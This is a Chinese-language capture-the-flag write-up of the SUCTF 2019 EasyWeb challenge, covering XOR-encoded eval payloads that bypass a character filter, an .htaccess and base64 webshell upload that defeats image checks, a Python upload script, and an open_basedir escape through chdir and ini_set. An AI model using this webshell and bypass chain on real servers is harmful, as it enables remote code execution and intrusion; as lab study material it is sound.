Dir_bypass


Dir_bypass


概述

做到一道open_basedir bypass的题目([SUCTF 2019]EasyWeb),还有许多其它的点,来记录一下。首先进入的是一个代码审计的阶段:

<?php
function get_the_flag(){
    // webadmin will remove your upload file every 20 min!!!! 
    $userdir = "upload/tmp_".md5($_SERVER['REMOTE_ADDR']);
    if(!file_exists($userdir)){
    mkdir($userdir);
    }
    if(!empty($_FILES["file"])){
        $tmp_name = $_FILES["file"]["tmp_name"];
        $name = $_FILES["file"]["name"];
        $extension = substr($name, strrpos($name,".")+1);
    if(preg_match("/ph/i",$extension)) die("^_^"); 
        if(mb_strpos(file_get_contents($tmp_name), '<?')!==False) die("^_^");
    if(!exif_imagetype($tmp_name)) die("^_^"); 
        $path= $userdir."/".$name;
        @move_uploaded_file($tmp_name, $path);
        print_r($path);
    }
}

$hhh = @$_GET['_'];

if (!$hhh){
    highlight_file(__FILE__);
}

if(strlen($hhh)>18){
    die('One inch long, one inch strong!');
}

if ( preg_match('/[\x00- 0-9A-Za-z\'"\`~_&.,|=[\x7F]+/i', $hhh) )
    die('Try something else!');

$character_type = count_chars($hhh, 3);
if(strlen($character_type)>12) die("Almost there!");

eval($hhh);
?>

异或绕过

首先可以看到对hhh进行了长度和许多符号的过滤限制,我们先写一个脚本看一下哪一些字符可用,我们可以看到这些字符是可以使用的:

<?php
    for($i=0;$i<=0xff;$i++)
    {
        $char=chr($i);
        if ( !preg_match('/[\x00- 0-9A-Za-z\'"\`~_&.,|=[\x7F]+/i',$char) )
        {
            echo(dechex($i).' ');
        }
    }
?>
//21 23 24 25 28 29 2a 2b 2d 2f 3a 3b 3c 3e 3f 40 5c 5d 5e 7b 7d 80 81 82 83 84 85 86 87 88 89 8a 8b 8c 8d 8e 8f 90 91 92 93 94 95 96 97 98 99 9a 9b 9c 9d 9e 9f a0 a1 a2 a3 a4 a5 a6 a7 a8 a9 aa ab ac ad ae af b0 b1 b2 b3 b4 b5 b6 b7 b8 b9 ba bb bc bd be bf c0 c1 c2 c3 c4 c5 c6 c7 c8 c9 ca cb cc cd ce cf d0 d1 d2 d3 d4 d5 d6 d7 d8 d9 da db dc dd de df e0 e1 e2 e3 e4 e5 e6 e7 e8 e9 ea eb ec ed ee ef f0 f1 f2 f3 f4 f5 f6 f7 f8 f9 fa fb fc fd fe ff

我们写一下异或脚本进行构造一下,异或rce参考链接:(82条消息) 浅谈PHP代码执行中出现过滤限制的绕过执行方法_末初mochu7的博客-CSDN博客_php命令执行绕过

看一下phpinfo的信息,我非预期解出了flag,emmm但是还是继续往下写吧:

?_=${%ff%ff%ff%ff^%a0%b8%ba%ab}{%ff}();&%ff=phpinfo
//ini_set限制了basedir位置:open_basedir	/var/www/html/:/tmp/	/var/www/html/:/tmp/

这个成功了但是我们还是利用一下他的get_the_flag函数,我们对参数进行异或构造:

?_=${%ff%ff%ff%ff^%a0%b8%ba%ab}{%ff}();&%ff=get_the_flag
//直接修改%ff的参数即可转化为get_the_flag

代码审计

get_the_flag对文件的传输进行了过滤,首先是后缀不可以含有ph字眼,同时文本的内容不可以含有php标记,因为版本的原因我们无法使用script进行绕过,那么我们可以用.htaccess进行base64编码绕过,同时它还检查了图片中的宽高信息,绕过的方式是,在htaccess里添加高宽定义,绕过图片检测。

htaccess脚本:

#define width 1337
#define height 1337 
AddType application/x-httpd-php .sss
php_value auto_append_file "php://filter/convert.base64-decode/resource=./shell.sss"

shell.sss脚本:

GIF89a
PD9waHAgZXZhbCgkX1BPU1RbJ2FiYyddKTs/Pg==
//<?php eval($_POST['abc']);?>

看到一些大佬直接用py脚本上传文件:

import requests
import base64

htaccess = b"""
#define width 1337
#define height 1337 
AddType application/x-httpd-php .sss
php_value auto_append_file "php://filter/convert.base64-decode/resource=./shell.sss"
"""
shell = b"GIF89a11" + base64.b64encode(b"<?php eval($_POST['cmd']);?>")  #GIF89后的11是为了满足base64编码
url = "http://1726b4e0-8b38-4d49-a860-44a37202bcdf.node4.buuoj.cn:81/?_=${%ff%ff%ff%ff^%a0%b8%ba%ab}{%ff}();&%ff=get_the_flag"

files = {'file':('.htaccess',htaccess,'image/jpeg')}
data = {"upload":"Submit"}
response = requests.post(url=url, data=data, files=files)
print(response.text)

files = {'file':('shell.sss',shell,'image/jpeg')}
response = requests.post(url=url, data=data, files=files)
print(response.text)

蚁剑连接

根据给出的文件地址进行蚁剑连接,但是因为前面限制的原因,只得到了一个假的flag。

hhhh
This is fake flag
But I heard php7.2-fpm has been initialized in unix socket mode!
~                                                                  

目录跨级

跨级原理:从PHP底层看open_basedir bypass · sky’s blog (skysec.top)

mkdir('dydong');
chdir('dydong');
ini_set('open_basedir','..');
chdir('..');
chdir('..');
chdir('..');
chdir('..');
chdir('..');
chdir('..');
chdir('..');
chdir('..');
ini_set('open_basedir','/');
var_dump(scandir('/'));


文章作者: Dydong
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 Dydong !
  目录